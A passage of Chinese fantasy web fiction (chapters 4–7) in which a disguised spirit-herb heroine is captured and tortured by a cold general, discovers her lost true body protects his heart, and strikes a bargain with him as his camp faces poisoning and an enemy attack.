这样的念头在她脑海中不断盘旋,每想一次,都让她感到窒息,仿佛一只无形的大手正死死掐住她的咽喉,未知的迷茫和恐惧使他精神几乎溃败,只有心脏处不断跳动的激烈的心跳声提醒:她还活着。
而她,必须面对这个局面,无路可退。
独自直面这九死一生的绝境,前方就算是刀山火海,也只能硬着头皮闯过去,面对恐惧的未知!
4. 缺失的真身
夜色如墨,浓稠地化不开。宛楪藏身于熙攘人群之中,忐忑的看着坐在上面高处的那个人。
周遭喧嚣嘈杂,凛冽的寒风呼啸着刮过,像锋利的刀刃割在脸上,却远不及她此刻内心的寒意。旁边的树叶被风吹的簌簌作响,那些追杀她的人,此刻正步步紧逼,每一步都踏在她愈发紧绷的神经上。
身处高位的那人,身着一袭墨色长袍,袍面以深邃的黑色为底,绣着暗红的云纹,似是暗夜中翻涌的血色暗流,透出几分邪魅。
衣摆随风轻轻摆动,如同夜色中翻卷的暗潮,眉眼间透着一股不羁的邪气,薄唇轻抿,目光不经意间扫向宛楪所在的方向,透着对生命的漠视。
仿佛世间万物皆在他掌控之中,深邃而冰冷,如同深渊中凝视的瞳孔。这冷漠的目光仿佛带着无形的重压,让人喘不过气来。
周遭人声鼎沸,可宛楪却觉得一切都变得遥远而模糊。
她的世界里只剩下自己如雷的心跳声和那些步步紧逼的危险身影。恐惧如潮水般将她淹没,思维在慌乱中变得一片混乱,每一次试图冷静思考,都被如芒在背的危机感无情替代。
就在这样的绝境中,宛楪眼睁睁看着那些人神色诡秘地从怀中掏出一张画纸,脚步匆匆却又带着几分刻意的恭敬,快步走向高位者。
他们凑到高位者耳边,声音压得极低,像是在小声地交谈着什么不可告人的密谋,嘴唇的每一次开合都让宛楪的心猛地一紧。
那高位者抬手接过画纸的瞬间,时间仿若被一只无形的大手按下了暂停键,周遭的一切都凝固了。
他的目光缓缓落在画纸上,刹那间,整个人像是被施了定身咒一般,僵立在原地,脸上的表情从最初的平静瞬间被惊愕所取代,眼眸中闪过一丝难以掩饰的慌乱。
宛楪躲在暗处,心脏几乎要跳出嗓子眼。她的脑海中疯狂地闪过无数种可能,那画纸上究竟写了什么?
恐惧和疑惑交织在一起,让她的手心早已被冷汗湿透。
不仅是他瞬间呆立当场,宛楪也在捕捉到他神情的刹那僵在原地,下意识抬手摸向自己的脸。
自己的脸到底怎么了,让他露出这般震惊到呆愣的表情?就算想杀了她,也不该是愣住啊。这是怎么回事?
这实在太让人难以理解了。那上面还写了什么?是关乎自己生死的致命线索,还是牵扯出了更为复杂的秘密?
她心中满是疑惑与恐惧,看着那张画纸神色复杂,上面就是自己的脸无疑,但为什么会让这个高位者有如此反应?
或许,那个人已经认出了自己也不一定。
紧接着,那人不知道说了什么,脸色带着嘲讽和轻蔑,话音刚落,那些人表情瞬间严肃,眼神中透露出警惕与愤怒。
双方的肢体动作逐渐变得激烈,似乎随时都会大打出手。宛楪的心提到了嗓子眼。
这冲突一旦爆发,可能会有更多危险的未知出现,而自己这个在讨论区核心的人,就将陷入更加危险的境地。
然而,似乎是那人太有威慑力,哪怕在场众人将不满与抗拒写满了脸,却也只能硬生生咽下怒火,满脸不甘,一步三回头地悻悻离去。
宛楪的心似乎不止是跳动,而是紧急刹停。
他们说了什么?!
为什么会出现这样的局面?
夜,变得寂静无常,四周寂静而诡异。冷风呼啸着掠过,树叶在风中剧烈地摇曳,发出哗啦啦的声响,宛如无数细碎的低语,充满了不安与惊恐。
恐惧,席卷着在场的所有人。
带着不确定与未知的寒风,悄然掠过,仿佛在诉说着隐秘的低语。在这令人窒息的场景中,人们屏住呼吸,生怕惊扰了这诡异的宁静。
不过似乎没有他们什么事了,官兵们开始驱散人群,大声呼喊着让大家回到自己该回的地方。
周围的人渐渐散去,宛楪的脚步却像灌了铅一般沉重。
直觉告诉她,这件事没有那么简单。她的心中弥漫着不安,总觉得今晚的危机不过是冰山一角。
还有更可怕的事情隐藏在黑暗深处,正悄然向她逼近。
宛楪试着将心沉下来,或许今天的事情本就如此简单。她告诉自己要冷静,抬腿欲走,然而就在这一刻,一道剑光划破长空,如闪电般直直立在她面前,瞬间将她的去路彻底封死。
下一秒,她的身边突然多出一个人影。没等她反应过来,一只冰冷而有力的大手狠狠地掐住了她的脖子,力道之大甚至让她无法呼吸。她的视线逐渐模糊,却仍能看清眼前的人——正是那个刚才杀人不眨眼、在高位令人忌惮的人。
此时,他阴狠的声音冰冷地传入她的耳中:“你这张脸,是谁让你过来的?”
他的手指逐渐收紧,宛楪的目光紧紧盯着他眼中的狠厉与杀意。
如果说刚才的他眼中是对生命的漠视,那现在,他的眼神中就是愤怒与憎恨,仿佛恨不得将她捏碎。
不禁让宛楪心中不禁疑惑:她究竟做了什么天大的错事,竟让他如此恨她入骨?或者说,她以前认识这个人吗,这到底是怎么回事?!
宛楪还没来得及多想,那双紧紧掐住她脖子的手青筋暴起,窒息的感觉瞬间压着她的喉咙,眼前的一切都在快速模糊,只剩下那人憎恨的眼神,在她的视野中逐渐变得模糊。
下一刻,宛楪被狠狠地摔在地上,喉咙剧痛让她无法发出任何声音。
那人冷冷地扫了她一眼,继续下令,声音中带着刻骨的冷意,“把她关进地牢,拷问到她肯说为止。”
话中的恨意像冰刃般刺入骨髓。
宛楪忍着喉咙的不适,死死地盯着他。她不断在脑中回忆自己到底什么时候见过他,让这个人对自己弥漫这么大的恨意。还没等她缓过劲来,旁人已经粗暴地将她架起,拖着她向地牢走去。
被拖走的瞬间,宛楪的眼中红瞳一闪而过,瞬间恢复。那双眼睛透出冷冽与不屑,还有深深的带着毁灭的愤怒。
她艰难地咳嗽了两声,喉咙里传来一阵刺痛,一丝深深的厌恶在她心底悄然生根,蔓延开来。
地牢外,厚厚的云层遮挡着住,一片死寂般悄无声息。风呼啸着钻进地牢的缝隙,周围的树木扭曲着,像是在痛苦地挣扎。
月光像是铺了一层冰冷的霜,给这阴森的场景更添了几分凄凉。昼夜就这样无声地更替着,可地牢里的拷打声却从未停止,每一声都像是被这无尽的凄凉所吞噬,又在这凄凉中不断回响。
宛楪被按在那里,承受着无情的折磨,她的世界,仿佛也随着这恶劣的环境,陷入了无尽的黑暗与绝望之中。地牢里,腐臭与潮湿的气息肆意弥漫。
昏黄黯淡的火把在墙壁上摇曳,宛楪被按在
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那里,长时间的折磨与疲惫让她几乎晕厥。扭曲的光影映照着宛楪的身形。
一阵沉重的脚步声由远及近,在寂静阴森的地牢里格外清晰,靴子踏在地面,溅起浑浊的水花。
他站定在宛楪面前,微微俯身,阴影将宛楪笼罩,双手抱在胸前,居高临下地看着她,“现在肯说了吗?”
地牢里的空气似乎都因他的出现而凝固,唯有火把偶尔发出“噼啪”的爆鸣声,在这压抑的氛围中显得格外突兀。
宛楪艰难地抬起头,发丝凌乱地黏在满是血水与汗水的脸颊上。她目光直直地对上那人的眼睛,紧接着嘴角缓缓勾起,扯出一抹嘲讽到极致的笑,“那个药效强劲的花瓣,用着还顺手吗?”
那笑容在昏暗的地牢里显得格外刺眼,她干裂的嘴唇微微开合,声音沙哑得近乎破碎、虚弱得如同风中残烛。
每一个字都像是从牙缝中挤出来,带着毫不掩饰的挑衅,在这阴森的地牢里回荡。
听到这话,那人的眼神瞬间从惊讶害怕变得凶狠恐怖,戾气横生,“你都知道些什么,你到底是谁?”
他猛地伸手掐住她的脖子,这一次,手劲大得仿佛要将她的生命掐断。宛楪的脸色瞬间变得苍白,但她的嘴角却依旧挂着一丝冷笑,满是嘲讽意味。忍着剧烈的痛苦,没有发出一丝呻吟。
“你怎么知道的?你背后的人是谁?”那人怒吼,声音满是杀意。
宛楪却只是继续笑着,甚至似乎想到了什么好玩的,放声大笑起来,却被喉咙中的血呛到猛地咳嗽。
一边咳嗽,一边用虚弱却讥讽的语气说道:“想知道吗?求我啊。”她的声音虽然微弱,但每一个字都如同利刃般刺向那人。
那人似乎被彻底触怒了,脸上的肌肉猛地绷紧,额头上青筋暴起,眼中的怒火几乎要喷薄而出,声音中充满了杀意和愤怒,仿佛要把所有的情绪都倾泻在她身,“你……”
嘴唇咬的发白,似是怎么也抑制不住的愤怒,“找死!”他猛地将宛楪的脖子掐得更紧,手臂上如同铁石般坚硬,仿佛要将她彻底捏碎。
宛楪只是静静地任由他施加致命的力道,仿佛早已将生死置之度外。她的身体在剧烈的压迫下微微颤抖,眼神却没有丝毫的畏惧或求饶。
面色冷冷地看着他,嘴角微微上扬,带着一丝若有若无的讥讽,没有任何表情,只是因为脖子被掐着微微仰起。
她的呼吸急促而艰难,每一丝空气的吸入都伴随着尖锐的刺痛。宛楪死死盯着他心口的位置,眸中满是讥讽与厌恶。此刻,她心中的最后一丝怀疑已然烟消云散。
如果说一开始她还在猜测,那么如今,她已毫无保留地确定——她缺失的真身,就在这具身体里!
杀了他,取回真身,她就再也不会失去法力了!
“有你这样的高位者,百姓哪能有好日子过!”宛楪被掐着脖子,努力地从被扼紧的喉咙中挤出声音,那声音因为窒息而变得扭曲、沙哑,像是被卡着一样钻出来,心中涌起一股强烈的杀意,眼神变得冰冷而坚定。
只要杀了他,就可以拿出真身,她就再也不会动不动失去法力了!
而他这样的人,该死!!!
地牢中回荡着她的质问,每一个字都像是一记重锤,狠狠砸向眼前这个高高在上的掌权者。
而宛楪的眼中,杀意具显。
5. 谈判
掐住宛楪脖颈的手渐渐颤抖起来,宛楪却毫不示弱,目光中透着坚毅。
“我们做个交易如何?”她艰难地开口,声音虽微弱,却带着一种不容忽视的坚定。
这句话似乎引起了这个人的兴趣,那只手却没有丝毫放松的迹象,依旧紧紧扣着她的咽喉,反而眼中闪过一丝玩味和嫌恶。
仿佛在欣赏一场毫无胜算的挣扎。
宛楪喘息着,声音嘶哑却清晰,“你用的那种花瓣,我有的是。”
此话一出,那人看着她的眼神瞬间变得复杂,愤怒几乎瞬间爬上了他的眼睛,仿佛她的提议窥探了他内心深处的东西。情绪交织着,愤怒如暗流涌动。
然而,这翻涌的复杂情绪,并未让他手下留情,他的手依旧如铁钳一般紧紧扼住宛楪的脖颈。指节泛白,青筋微凸。
只不过原本狠戾的劲道悄然减弱,还有微微颤抖的指尖,无声地暴露他内心出现了犹豫和挣扎。
宛楪的呼吸愈发急促,喉咙里发出“嘶嘶”的微弱声响,每一次吸气都像是在拖拽着沉重的风箱。眼神逐渐涣散,意识在黑暗的边缘摇摇欲坠,眼前的景象变得模糊不清,只能看见一片混沌。
那人似乎还在说着什么,但是宛楪眼中模糊,只看得见嘴唇一张一合渐渐地也消失在黑色的晕厥中。
她的双腿发软,身体向下坠去,可晕倒前,她嘴角却带着一丝若有若无的笑意,仿佛在无声地诉说着她的笃定——
不论怎样,这个人,绝不会在这个时候杀了自己!
等到天边泛起鱼肚白,又渐渐染上黄昏的余晖,宛楪才醒过来,她躺在一个营帐的塌上,目光落在头顶营帐的白色帐帘上,每一次眨眼都像是在拉扯着脆弱的神经。
然而,她很快被嗓子处传来的剧烈疼痛拉回现实,下意识地皱了皱眉,却扯动了浑身的伤痛。
全身上下像是被无数根钢针深深刺入,仿佛每一寸肌肤都在昭示着刚才受了多大的刑罚。
宛楪心中涌起一股强烈的愤怒,自化形以来,这般惨痛的经历,除了那次被人追杀、险些被用来炼丹,这还是她第一次伤得如此狼狈。
而这一切的罪魁祸首,便是那个动不动就掐着她脖子、想要她命的人。
如今一想到那个视性命如草芥的人,她对他的厌恶就攀升到了极点。更让她有些惊恐,却充满疑惑的是——自己缺失的真身就在他的体内。
她不由得沉思:他用那片真身做什么,他现在知道自己的身份吗?
最关键的是,为什么他会有这片真身?
宛楪想的头疼,索性不想了,虚弱地靠在营帐的角落,双眸紧紧盯着帐门,像是在等待着什么。夜幕渐渐深沉,如水的月光透过缝隙洒落在地面,形成一片片斑驳的光影。
晚风轻轻拂过,帐帘微微晃动,发出细微的声响,更衬得四周寂静无比。
再晚些,月亮已经高高挂上了枝头,将清冷的光辉毫无保留地倾洒而下。就在这时,帐帘被轻轻挑起,一个身着一袭黑色长袍的男子缓缓走了进来。
月光下,他的身影被拉得修长,俊美的脸庞在朦胧月色的笼罩下,更显得妖魅而神秘,仿若从暗夜中走出的鬼魅。
他静静地站在那里,目光落在宛楪身上,嘴唇轻抿,一言不发。
察觉到有人进来,宛楪抬起头,毫不畏惧地迎上他的目光,嘴角扯出一抹嘲讽的笑意,声音带着渴意和沙感,“怎么,还想杀了我?”
男子依旧沉默,片刻后,他微微眯起眼睛,薄唇轻启,声音冰冷淡漠,“那些人找你做什么,你们下了什么棋?”
无人回答,营帐内一片死寂,只有两人的呼吸声清晰可闻。
良久,男子再次开口,他向前迈了一步,目光紧紧锁住宛楪,眼神中透着探究与审视:“找一个人,长着这样的脸,又演了那样一出好戏,就为了让你接近我?”
宛楪听着他这一番话,原本淡然的神色瞬间起了变化。她的嘴角不受控制地微微抽搐,像是听到了什么天方夜谭。眼中满是困惑与茫然,显然是对这番话一头雾水,心里直犯嘀咕:
或许是我真不懂人类的语言,他说了一堆,我硬是一个字都没听懂。
她无奈地深吸一口气,微微仰头,目光放空,大脑飞速运转,思考到底该怎么提条件。
就在这时,那人又吐出一句话,她的瞳孔骤然一缩,原本放松的身体瞬间紧绷,每一根神经都被狠狠拉扯,全身的戒备瞬间拉满。
那人坐在那里,右手却不自觉地轻轻摩挲着茶杯的边缘,“费这么大功夫,就为了要我的命,是不是研究了新手段?”他端起茶杯,轻抿了一口茶,嘴角露出一抹淡淡的笑意。
宛楪的心猛地一紧,她下意识地攥紧了衣角,指甲深深嵌入掌心,留下一道道发白的痕迹。
他怎么知道自己想杀了他?!
就因为他想杀了自己,所以觉得自己会报复吗,如此笃定?
在这寂静的夜里,她连自己的呼吸都听得格外清晰,每一次吸气都带着忐忑。她不知道对方究竟知晓了多少秘密。
目光不自觉地在对方脸上游移,试图从他的神情中捕捉到一丝线索,可那张俊美的脸庞如同被寒霜笼罩,深邃的眼眸里毫无波澜,让人捉摸不透,“我渴了。”
宛楪此话一出,对面明显愣了一下,似是不可置信。许久,那人才把茶杯放下,“你是不是忘记自己什么身份?”
万籁俱寂的夜里,这人音色宛如上好的丝弦被轻轻拨动,本该是极为悦耳的。可此刻,却像是裹挟着冬日的霜雪,钻进人的骨子里,冻得人浑身发颤。
宛楪看着对面,眼中是倔强和坚定,“阶下囚,或者被你杀死的备选人……”宛楪顿了顿,抬头带着一丝笑意。
“还是你因为想要知道我说的,是什么意思,所以现在无可奈何,只好放人的,嗯……杀手的俘虏?”宛楪嘴角的笑一直没下去,或者说,因为对面无措让她感到有些高兴。
瞧了瞧自己如今这副狼狈模样,宛楪心里清楚,此刻的她根本没有能力要了眼前人的命。她的身体还在隐隐作痛,灵力也在之前的争斗中损耗大半,想要对他出手,简直是天方夜谭。
更让她不幸的是,她完全不清楚这个人究竟掌握了多少关于她的信息,这种未知,如同高悬在头顶的剑,随时可能落下。
行差踏错,就可能斩断她的所有希望,让她陷入万劫不复的深渊,所以她只是重复了一下刚才的话,“我渴了。”
那人听闻宛楪所言,脸上瞬间闪过一抹强烈的震惊之色,双眼瞪得滚圆,难以置信地看着宛楪。可纵使内心惊涛骇浪,他似乎也无计可施。
沉默片刻,似乎是没有水宛楪就不打算搭理他,没有什么办法。他深吸一口气,努力压抑着内心的怒火,转身倒了一杯水。
他端着水杯,脚步急促地走向宛楪,由于太过生气,咬着嘴唇微微颤抖。待走到宛楪跟前,他张了张嘴,却又被愤怒哽住了喉咙,一个字也吐不出来。
最终,他只能直直地将水杯递到宛楪面前,手因情绪激动而微微颤抖,杯中的水也随之泛起层层涟漪。
宛楪微微伸出手,却在手指刚触碰到杯身的瞬间,那人突然发力,手腕一转,将水杯扬起,要把杯中的水往宛楪头上倒去。宛楪眼神瞬间一凛,原本平静的眸子里闪过一丝怒火,嘴唇紧抿,显得有些生气。
来不及多想,宛楪右手猛地探出,精准地扣住对方的手腕,试图阻止他的动作。她的动作干脆利落,仿佛早已预料到对方的举动。心中暗道:好险,差一点。
那人眼神中透出一丝狠劲,左臂迅速抬起,朝着宛楪的手臂格挡过去,试图挣脱她的钳制。宛楪见状只好向旁边闪去,仿佛一只灵动的猫儿,动作轻盈而敏捷,巧妙地避开了这一击。
两人在这个狭小的榻上交手几个回合。周围的空气似乎都因为他们的动作而变得紧张起来,连一旁的烛火都被他们的动作
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带得微微摇曳,光影交错间,映照出两人紧张的神情。
宛楪心中暗暗咬牙,眼神中满是不耐烦:“这家伙到底想干什么?”她的眼神越发锐利,恨不得下一刻就把这个人剥皮抽骨。
瞅准间隙,宛楪左手快速探出,眼神中闪过果断,死死抓住那人拿水的手用力一扭,迫使那人的手腕弯曲,水杯倾斜,杯中的水也倾斜而出。
宛楪趁对方的手被自己牵制,处于别着的状态,顺势发力,就着这股力度,以一种近乎霸道的姿态,将杯中的茶水一饮而尽。她仰头的瞬间,脖颈线条紧绷,喉结快速滚动,干裂的嘴唇贪婪地汲取着水分,每一个动作都流畅而有力,一气呵成,干净利落。
这一番迅猛又果敢的操作,显然大大出乎那人的意料。他先是一愣,眼中闪过一丝惊愕,紧接着,竟下意识地顺着宛楪的动作,微微抬高茶杯,让茶水能更顺畅地流入她口中,使她喝得容易些。
甘甜的茶水进了嗓子,快要冒烟的火烧感才得以缓解,但这远远不够。
宛楪轻轻抹了抹嘴,嘴角微微上扬,眼神中带着一丝挑衅,冷冷地看向那人。她的手并没有松开,反而下压得更狠,手腕微微用力,像是要把对方的手腕彻底压服。
她实在太渴了,要是再喝不到水,怕是又要晕倒。
喝完了水,那人还在震惊中没有缓过神来。宛楪则紧盯着眼前的人,眼神中燃烧着愤怒与挑战,仿佛在无声地宣告:这一次,她绝不会再退缩!
电光火石间,宛楪脑海中一道灵光闪过,像是捕捉到了至关重要的线索。趁对面的人还沉浸在接连的惊愕中,大脑一片空白、尚未反应过来,她咬紧牙关,用尽全身力气,双手撑着地面猛地起身,迅速贴近那人。
她的动作急促而果断,近乎莽撞地将脖子往下探,脑袋微微侧偏,鼻尖几乎要触碰到对方心口的位置,像是在急切地探寻着什么。她的双眼紧紧闭着,神情专注又凝重,全然不顾此刻两人近乎暧昧又危险的距离。
好一会儿,那人才从这接二连三的冲击中回过神来,像是刚从一场噩梦中惊醒,眼神里还残留着浓浓的不可置信。他猛地瞪大双眼,双手下意识地用力,狠狠推开宛楪,动作里带着几分慌乱与恼怒。
由于太过震惊,他的嘴巴不受控制地一张一合,像是有千言万语哽在喉咙,却怎么也说不出来,只剩下满脸无言的惊愕,仿佛眼前的一切都颠覆了他的认知。
良久,他的表情扭曲,神色在阴狠、惊讶与迷茫间来回切换,面部肌肉微微抽搐,终于,从牙缝中挤出一个字:
“你……”
“你什么?”宛楪软绵绵地靠了回去,这一连串激烈的动作几乎耗尽了她所有的体力。
此刻的她气喘吁吁,胸脯剧烈起伏着,说话都带着几分虚弱,“都是男的,你怎么,掐我脖子的时候不是很嚣张吗?”
宛楪满心厌烦,压根不想理会身旁之人,头也不回地侧转过去,把脑袋靠在一旁,语气里满是不耐与疲惫,随口说道:“你要不先找个地方回去,我歇一会。”
她清楚地感受到背后那人愤怒得几乎要喷出火来的目光,却仿若未觉,神色冷淡,自顾自闭上眼,仿佛周遭的一切都与她无关。
那人被她这副毫不在意的态度彻底激怒,身体因愤怒而微微颤抖,双手紧紧攥成拳头,指节泛白,额头上青筋暴起,整个人好似一座即将喷发的火山。
可即便怒火中烧到了极点,喉咙像是被一股无形的力量哽住,愣是一个字也没说出来。
直到宛楪淡淡地补了一句,“要不是你掐我脖子,差点把我掐死,也不至于现在无法讲话。”这句话更是刺激了那个人,愤懑愈发浓烈,拳头攥得更紧了,甚至发出咯吱咯吱的声音。
不知过了多久,周遭的动静平息。宛楪缓缓睁开眼睛,经过刚刚的试探,她现在能确定两件事:
自己的真身在保护着他的心脏。
她想要把真身取出来却绝非易事!
6. 战线推进,屿山关乱
宛楪实在是累了,迷迷糊糊间,却猛地感觉有只手卡在了自己的脖子上。那手的力度不算大,却像一道冰冷的枷锁,瞬间让她的神经紧绷起来。
宛楪费力地睁开眼睛,看着眼前模糊的人影,嘴角浮起一抹嘲讽的嗤笑,声音沙哑却带着几分倔强:“怎么,你杀人就只会掐人的脖子吗?”说着,她微微仰头,试图挣脱束缚。
那人听到这话,动作顿了一下,像是被她的话勾起了什么情绪。随后,缓缓收回手,那双手在收回时还微微颤抖了一下。他往后退了一步,在昏暗的光线下,看不清他的表情,只能听到他低沉的声音传来:“如果你是女生,骗到我的概率可能会更大。”说这话时,他微微歪着头,像是在打量宛楪,又像是陷入了某种回忆。
宛楪哪管他心里在琢磨些什么,更顾不上担忧自己女扮男装的秘密是否已经暴露。此刻,每一口呼吸都像是在拉扯着疲惫到极致的身体,她只想尽快解决眼前这要命的危机。她强撑着坐起身,后背靠着那面散发着寒意的墙,有种破罐子破摔的松弛感,声音中带着不容置疑的坚定:“喂,所以呢,咱们两个可以谈判了吧?”
那人闻言,薄唇微微抿起,喉结轻轻滚动了一下,似是在权衡着什么。片刻后,他微微颔首,简要的两个字,“你说。”
声音低沉,在这略显空旷的空间里回荡。
宛楪深吸一口气,开始有条不紊地抛出自己的条件。她一边说,一边观察着对方的反应,“我觉得你很需要那种花瓣,我有很多。你不能杀我,如果那些人再来找我,你也要把他们赶走。”说到这里,她稍作停顿,舔了舔干裂的嘴唇,接着道:“作为报酬,我会支付你二十朵花,不过不是现在,等以后我拿到的。”
说罢,她紧盯着对方的眼睛,不放过一丝他的情绪波动。
那人并没有因为宛楪这看似有些荒诞的承诺而露出任何质疑的神色。他的脸上依旧是那副波澜不惊的模样,仿佛根本不在意宛楪身处军营,与外界近乎隔绝,究竟要如何拿到那些花。他微微抬起头,目光直直地看向宛楪,平静地说道:“我叫慕酌。”
声音平稳,却像是在向宛楪传递着一种莫名的信号,这场交易,他接下了。
宛楪完全没料到他会突然自报家门,一时间,大脑像是被猛地按下了暂停键,整个人愣了一会儿,她才反应过来,淡淡地回了一声,“哦。”
片刻之后,宛楪迅速调整,微微向前倾身,眼神紧紧锁住慕酌的眼睛,像是要将他的心思看穿:“慕将军,你觉得我的提议怎么样?如果你现在就想要这种花瓣,我也是有的,不过没有那么多。”说着,她缓缓抬起手,五指轻轻一翻,一片散发着柔和微光的花瓣便出现在她掌心。
那是宛楪花,是她法力正盛之时所开之花。在往昔,只要她心念一动,千朵万朵这样的花儿便能瞬间绽放,肆意飞舞。此刻,这片花瓣静静躺在她掌心,微光闪烁,似乎在诉说着她曾经那令人惊叹的强大法力。
宛楪观察了一下,看来似乎他并没有发现自己妖的身份,目光还是滞滞地看着前面。如果不是真的不知道,那就是演技太高超了。
宛楪看了一眼自己手心的花瓣,在那个人没有说话的时候,她也选择闭嘴。
她本是生长在悬崖峭壁之上的仙草,周身萦绕着一层若有若无的灵韵。山风呼啸着从她身旁刮过,峭壁下是深不见底的渊薮,云雾在其间翻涌,她就在这险峻之地扎根、生长,日复一日,吸收着天地间微薄却纯粹的灵气。
然而,她对自己的来历却一片茫然,就像这峭壁间的云雾,看似触手可及,实则缥缈难寻。不过,有一点她万分确定,那便是自己与生俱来的治病能力。
若不是她有此功效,眼前这个男人也不会用她的护在胸口,用以滋养心脉。她的花瓣,更是宛如天赐的神药,对化解毒素有着奇效。
想到这儿,宛楪微微抬起头,目光悄然落在眼前的男人身上。只见他面色苍白如纸,毫无血色,嘴唇微微泛紫,那是毒素在体内沉积的迹象。眼神却锐利而冷漠,仿佛藏着无尽的秘密与过往,举手投足间虽带着几分病弱的憔悴,却又透着骨子里的杀伐之气。
宛楪在心里默默叹道:这个人也是真惨,心脉先天不全,只能依靠我的真身来勉强维系。身体里又沉积着大量毒素,需要频繁服用花瓣来化解。看他平日里行事作风,雷厉风行、手段狠辣,按照他这副冷峻强硬的秉性,估计暗中不知结下了多少仇家,想要他命的人怕是数不胜数。当真是悲惨!
那人的目光紧紧锁住宛楪掌心的花瓣,像是饿狼盯着猎物。随后,他缓缓伸出手,动作僵硬又迟缓,像是生怕这花瓣会突然消失一般。接过花瓣后,他并未像宛楪预想的那样立刻服用,而是将花瓣轻轻攥在手中,藏进了自己的袖兜。
几乎是在藏好花瓣的瞬间,他的神情陡然变得冰冷如霜,周身的气场也随之骤变,原本还算温和的氛围瞬间被一股肃杀之气所取代。他微微眯起眼睛,眼神像两把利刃直直刺向宛楪,声音低沉而又充满威胁:“你最好不要耍什么花招,这东西千金难求,你背后的人也是下了血本,你可别辜负了他的期望才是。”
宛楪听到这话,先是微微一怔,随即忍着不笑出声来,笑容里带着几分无语。她轻轻摇了摇头,心想:这个人为什么就笃定我背后有什么势力呢?多半是之前那位小姐的事情,让他怀疑我是某个势力的棋子了吧。
想来,自己不过是误打误撞卷入这场纷争,什么都还没弄清楚,就被无端猜忌。真是哑巴吃黄连,有苦说不出,她在心里默默叹道:自己可真够冤的。
宛楪深知此刻争辩毫无意义,索性选择沉默。只是她这一安静,那人反倒像是被戳中了什么隐秘心事,神情瞬间变得不自然起来,眼神闪躲,下意识地抬手整了整领口,像是要借此掩饰内心的慌乱。
这一切都落在宛楪眼里,除了一开始对他的厌恶,宛楪对这个人的印象就只有:有病!
“你…慕将军,合作已经达成,你就没有必要对我喊打喊杀了吧。”宛楪尽量让自己的语气听起来平和友善,她微微欠身,行了个不太标准的礼,继续说道,“我先走了,我会把那些花瓣给你,你要保证我在军营的人身安全。”说着,她还刻意加重了“保证”二字的语气,眼神紧紧盯着慕酌,试图从他脸上寻得一丝应允的痕迹。
“好,别耍什么花招。”慕酌冷硬地回应道,说完便迅速撇过脸,那动作带着几分刻意的决绝。此刻,宛楪才得以细细打量他。不得不承认,慕酌长得十分好看,剑眉星目,鼻梁高挺,线条分明的下颚透着几分
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冷峻。可他周身散发的戾气和长期征战带来的杀伐之气,又让他整个人仿佛从地狱深渊里走出的邪神,透着股让人胆寒的乖张和喜怒无常。
“你……”慕酌欲言又止,眉头微微皱起,像是在斟酌着用词,片刻后,还是开口问道,“你要在这儿待多久?”他的目光再次投向宛楪,眼神里带着一丝不易察觉的探究。
“不知道,等到时间到了我自然会走的。”宛楪实在是不明所以,不明白这看似无关紧要的问题背后究竟藏着什么深意。但既然对方问了,她便如实作答。
听到这话,慕酌的脸色瞬间阴沉下来,原本就冷峻的面容此刻更是笼罩着一层寒霜。他紧抿着嘴唇,腮帮子微微鼓起,显然是在极力压抑着内心的怒火。下一秒,他猛地一甩衣袖,转身大步离开,那背影透着十足的恼火与不耐烦。
宛楪望着他离去的背影,忍不住撇嘴,小声嘟囔道:“莫名其妙!”随后,她也转身,朝着相反的方向走去。
营帐外,狂风裹挟着黄沙肆意飞舞,天色暗沉得如同一块厚重的铅板,沉甸甸地压在众人心头。就在这压抑的氛围中,一声急促的呼喊骤然打破平静:“将军不好了,士兵大规模中毒倒下,不知道是什么原因,还请将军裁决!”声音尖锐而慌张,带着几分颤抖,在呼啸的风声中显得格外刺耳。
营帐内,宛楪正准备离开,冷不丁与冲进营帐的士兵撞了个照面。四目相对的瞬间,宛楪只觉一阵尴尬涌上心头,她下意识地往后退了一步,脸上闪过一丝不自然。而那士兵先是一愣,目光在宛楪身上上下打量,随后才反应过来,眼前这人所在的营帐,竟然是自家慕将军的营帐。
“你要不在这等会儿,等你那位将军回来,我先走了。”宛楪建议。
士兵再次抬头看向宛楪,只见眼前是一个面容俊秀的男人,身姿挺拔,气质不凡。可他心里清楚,这人就是前几天将军下令要拖去地牢严刑拷问的,这让士兵不禁暗自咋舌,心想自家将军玩得可真够花的。
宛楪被他那探究又异样的眼神看得浑身不自在,像是有无数只蚂蚁在身上爬。她不自然地轻咳一声,试图缓解这诡异的气氛:“咳,你先在这等着吧,我先出去。”说完,她脚步匆匆,几乎是逃离般地离开了营帐。
走在营帐外的通道上,宛楪满心疑惑。按理说,自己的易容术堪称天衣无缝,即便妖族的法术没了,可这是人类自己研究的伪装之法,用功力伪装,怎么会被看出破绽呢?她一边走,一边下意识地抬手摸了摸自己的脸,眉头紧锁,眼神中满是困惑。
就在这时,又一个小兵神色慌张,脚步踉跄地匆忙跑进来报告。他跑得气喘吁吁,胸膛剧烈起伏,连话都说得断断续续:“报!敌军偷袭已经打进屿山关!”这消息如同一颗重磅炸弹,瞬间让本就紧张的气氛变得更加焦灼。放眼望去,整个军营一片混乱,士兵们神色匆匆,奔走呼喊,空气中弥漫着紧张与不安的气息。这边士兵本就物资匮乏,连填饱肚子都成问题,如今又莫名中毒,战斗力大打折扣,偏偏这个时候敌军又悍然来袭。
紧接着,又一声急切的汇报传来:“报!敌军向我防战线推进十里,请将军指点作战!”声音在混乱的军营中回荡,每个字都像是一把重锤,狠狠地砸在众人的心上,让这场危机愈发显得迫在眉睫。
7. 那一幕刻在了她的眼睛里
战场上硝烟弥漫,战火肆虐,天空被浓烈的黑烟染成一片灰暗,仿佛连太阳都被这无尽的杀戮吞噬。
黄沙漫天的景象。狂风呼啸,卷起层层沙浪。空气中弥漫着刺鼻的火药味和血腥味。
宛楪掀开营帐的帘子,眼前的一切令她胆战心惊。四周一片狼藉,尸体横陈,残肢断臂散落各处,鲜血在黄土地上流淌,触目惊心。
哀嚎,惨叫和兵器碰撞声,如同地狱的奏鸣曲,回荡在这片被战争蹂躏的土地上。
未踏上战场的士兵因食物中毒倒在地上,痛苦地哀嚎着,声声入耳,令人毛骨悚然,利刃般刺入耳膜,让人不禁陷入深深的绝望。
战场上,黄沙漫天,遮天蔽日,喊杀声、兵器碰撞声交织成一片。宛楪望着眼前的惨状,心中五味杂陈。
就在她出神之际,突然,一阵急促的马蹄声由远及近,越来越清晰。
她下意识地转头望去,只见那位骑着一匹矫健的黑马,风驰电掣般从她身旁飞驰而过,带起一阵狂风,那狂风裹挟着战场上的沙尘,呛得人几近窒息。
